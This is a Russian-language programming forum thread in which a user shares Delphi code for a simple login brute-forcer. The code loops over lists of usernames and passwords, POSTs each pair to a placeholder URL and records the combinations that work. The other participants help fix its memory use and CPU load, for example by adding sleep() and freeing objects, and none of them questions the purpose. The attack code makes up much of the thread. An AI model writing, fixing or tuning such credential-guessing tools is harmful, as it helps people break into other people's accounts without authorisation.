[Помогите!] Проблемка с брутом

[RamDigga]

Написал простенький брут. Вроде бы всё вышло по плану, но сильно нагружает ЦП...
Как можно исправить ???

procedure TMyThread.Execute;
var
log:TstringList;
l,p:integer;
StrPage,sait,login,pass:string;
begin
 for l := 0 to Form1.Memo1.Lines.Count-1 do
 for p := 0 to Form1.Memo2.Lines.Count-1 do
begin
login:= Form1.Memo1.Lines[l];
pass:= Form1.Memo2.Lines[p];
sait:='запрос';
log:=TstringList.Create;
log.Add('username='+login);
log.Add('password='+pass);
StrPage:=Form1.HTTP.Post(sait,log);
if pos (login,StrPage) <> 0 then
begin
Form1.Memo3.Lines.Add(login+':'+pass);
end
else
 begin
 Form1.Memo4.Lines.Add(login+':'+pass);
 end;
end;
 Form1.Memo3.Lines.Add('The End');
end;

[Роспотребнадзор]

Очищай переменные после каждой попытки авторизации

begin
Try
//код
finally
login.free;
pass.free;
end;

[RamDigga]

Цитата: Сообщение от Роспотребнадзор Очищай переменные после каждой попытки авторизации begin Try //код finally login.free; pass.free; end;

Ругается: [DCC Error] Unit1.pas(65): E2018 Record, object or class type required

[Apo-S]

Цитата: Сообщение от RamDigga Ругается: [DCC Error] Unit1.pas(65): E2018 Record, object or class type required

У строки нет такого метода.. Зато нужно освобождать переменную log из памяти

log.free;

[RamDigga]

Теперь проблема в другом...
Сильно нагружает ЦП...
Как можно исправить ???

[Sinyss]

Цитата: Сообщение от RamDigga Теперь проблема в другом... Сильно нагружает ЦП... Как можно исправить ???

Оптимизировать алгоритм, переписать заново.
Не в курсе, но должны быть програмные средства для ограничения производительности...

[RamDigga]

Цитата: Сообщение от Sinyss Оптимизировать алгоритм, переписать заново. Не в курсе, но должны быть програмные средства для ограничения производительности...

Я уже не знаю куда проще...
Мои знания в Delphi, позволяют написать только это Хд

[Apo-S]

Цитата: Сообщение от RamDigga Теперь проблема в другом... Сильно нагружает ЦП... Как можно исправить ???

В конец цикла вставь

sleep(200);

К примеру..

[Роспотребнадзор]

Цитата: Сообщение от RamDigga Сильно нагружает ЦП...

Устаревшие процессоры даже от открытия папки нагружаются до 80 и более процентов

[RamDigga]

Цитата: Сообщение от Роспотребнадзор Устаревшие процессоры даже от открытия папки нагружаются до 80 и более процентов

В BF3 гоняю и норм...
8 гб оперативки и подлагивает, а что тогда будет у других ? Хд

[Apo-S]

Цитата: Сообщение от RamDigga В BF3 гоняю и норм... 8 гб оперативки и подлагивает, а что тогда будет у других ? Хд

По-идее и должно лагать, тк выходит почти вечный цикл..
Нужно вставлять sleep() в конец цикла, чтобы процессор так сильно не грузило.
Можно даже создать поток и убедиться

while(true){ }; // будет грузить проц
while(true){ sleep(150);}; // грузить проц почти не будет..

Ещё можно попытаться изменить приоритет потока..

[RamDigga]

Я понял в чём была проблема, при загрузке логов и пассов, программа проверяла на наличие пустых строк и пробелов, а потом их удаляла.
Нагрузка была 40 при 8 гб оперативы, даже если программа не брутила.
А щас при бруте 2-5 цп)